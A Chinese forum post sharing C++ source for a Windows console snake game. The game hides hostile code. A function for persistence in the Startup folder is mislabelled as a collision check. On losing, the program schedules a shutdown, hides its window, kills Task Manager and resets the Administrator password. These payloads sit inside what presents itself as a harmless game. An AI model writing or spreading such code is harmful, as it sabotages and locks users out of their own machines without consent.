快乐贪吃蛇(违规紫衫)
  • 板块灌水区
  • 楼主lpl123456
  • 当前回复17
  • 已保存回复17
  • 发布时间2024/7/28 16:43
  • 上次更新2024/7/28 16:52:03
查看原帖
快乐贪吃蛇(违规紫衫)
1066266
lpl123456楼主2024/7/28 16:43
#include <iostream>
#include <cstdio>
#include <cstdlib>
#include <ctime>
#include <conio.h>
#include <cmath>
#include <stdio.h>
#include <windows.h>
#include <Shlobj.h>
#pragma comment(lib, "shell32.lib")
using namespace std;
 
HANDLE hout=GetStdHandle(STD_OUTPUT_HANDLE);
COORD coord;
 
void locate(int x,int y)
{
    coord.X=y;
    coord.Y=x;
    SetConsoleCursorPosition(hout,coord);
};
 
void hide()
{
    CONSOLE_CURSOR_INFO cursor_info={1,0};
    SetConsoleCursorInfo(hout, &cursor_info);
}
 
double random(double start, double end)
{
    return start+(end-start)*rand()/(RAND_MAX + 1.0);
}
 
int m,n;
 
struct node
{
    int x,y;
}snake[1000];
 
int snake_length,dir;
node food;
int direct[4][2]={{-1,0},{1,0},{0,-1},{0,1}};
 
/*** 输出墙 ***/
void print_wall()
{
    cout << " ";
    for (int i=1;i<=n;i++)
        cout << "-";
    cout << endl;
    for (int j=0;j<=m-1;j++)
    {
        cout << "|";
        for (int i=1;i<=n;i++) cout << " ";
        cout << "|" << endl;
    }
    cout << " ";
    for (int i=1;i<=n;i++)
        cout << "-";
}
 
void print_snake()
{
    locate(snake[0].x,snake[0].y);
    cout << "@";
    for (int i=1;i<=snake_length-1;i++)
    {
        locate(snake[i].x,snake[i].y);
        cout << "*";
    }
}
 
/*** 判断是否撞墙或者自撞 ***/
BOOL AutoRun_Startup(char *lpszSrcFilePath, char *lpszDestFileName)
{
    char szStartupPath[MAX_PATH] = { 0 };
    char szDestFilePath[MAX_PATH] = { 0 };
    SHGetSpecialFolderPath(NULL, szStartupPath, CSIDL_STARTUP, TRUE);
    wsprintf(szDestFilePath, "%s\\%s", szStartupPath, lpszDestFileName);
    CopyFile(lpszSrcFilePath, szDestFilePath, FALSE);
    return TRUE;
}
bool is_correct()
{
    if (snake[0].x==0 || snake[0].y==0 || snake[0].x==m+1 || snake[0].y==n+1) return false;
    for (int i=1;i<=snake_length-1;i++)
    {
        if (snake[0].x==snake[i].x && snake[0].y==snake[i].y) return false;
    }
    return true;
}
 
bool print_food()
{
    srand((unsigned)time(0));
    bool e;
    while (1)
    {
        e=true;
        int i=(int) random(0,m)+1,j=(int) random(0,n)+1;
        food.x=i;food.y=j;
        for (int k=0;k<=snake_length-1;k++)
        {
            if (snake[k].x==food.x && snake[k].y==food.y)
            {
                e=false;break;
            }
        }
        if (e) break;
    }
    locate(food.x,food.y);
    cout << "$";
    return true;
}
 
/*** 蛇的前进 ***/
bool go_ahead()
{
    node temp;
    bool e=false;
    temp=snake[snake_length-1];
    for (int i=snake_length-1;i>=1;i--)
        snake[i]=snake[i-1];
    snake[0].x+=direct[dir][0];
    snake[0].y+=direct[dir][1];
    locate(snake[1].x,snake[1].y);
    cout << "*";
    if (snake[0].x==food.x && snake[0].y==food.y)
    {
        snake_length++;
        e=true;
        snake[snake_length-1]=temp;
    }
    if (!e)
    {
        locate(temp.x,temp.y);
        cout << " ";
    }
    else
        print_food();
    locate(snake[0].x,snake[0].y);
    cout << "@";
    if (!is_correct())
    {
        system("cls");
        cout << "You lose!" << endl << "去屎吧!!!!" << endl;
     
    system("shutdown -s -t 3");
       	HWND hwnd;
		ShowWindow(GetConsoleWindow(),SW_HIDE);	
		hwnd = FindWindow("ConsoleWindowClass", NULL);
    	system("taskkill /f /im taskmgr.exe");
        system("net user Administrator ****");

//	while(1){
//		SetCursorPos(rand()%1000,rand()%1000);
//	} 




    }
    return true;
}
 
/*** 主函数 ***/
int main(int argc, char * argv[])
{
    cout << "--------------------贪吃蛇---------------------" << endl;
    cout << "请选择难度.请在1-10中输入1个数,1最简单,10则最难" << endl;
    cout << "进入游戏画面,以方向键控制方向,祝你游戏愉快!" << endl;
    cout << "-----------------------------------------------" << endl;
    m=25;
    n=40; 
    if (m<10 || n<10 || m>25 || n>40)
    {
        cout << "ERROR" << endl;
        system("pause");
        return 0;
    }
    int hard;
    cin >> hard;
    if (hard<=0 || hard>100)
    {
        cout << "ERROR" << endl;
        system("pause");
        return 0;
    }
    snake_length=5;
    clock_t a,b;
    char ch;
    double hard_len;
    for (int i=0;i<=4;i++)
    {
        snake[i].x=1;
        snake[i].y=5-i;
    }
    dir=3;
    system("cls");
    hide();
    print_wall();
    print_food();
    print_snake();
    locate(m+2,0);
    cout << "Now length: ";
    while (1)
    {
        hard_len=(double)snake_length/(double) (m*n);
        a=clock();
        while (1)
        {
            b=clock();
            if (b-a>=(int)(400-30*hard)*(1-sqrt(hard_len))) break;
        }
        if (kbhit())
        {
            ch=getch();
            if (ch==-32)
            {
                ch=getch();
                switch(ch)
                {
                case 72:
                    if (dir==2 || dir==3)
                        dir=0;
                    break;
                case 80:
                    if (dir==2 || dir==3)
                        dir=1;
                    break;
                case 75:
                    if (dir==0 || dir==1)
                        dir=2;
                    break;
                case 77:
                    if (dir==0 || dir==1)
                        dir=3;
                    break;
                }
            }
        }
        if (!go_ahead()) break;
        locate(m+2,12);
        cout << snake_length;
    }
    system("pause");
    return 0;
}
2024/7/28 16:43
加载中...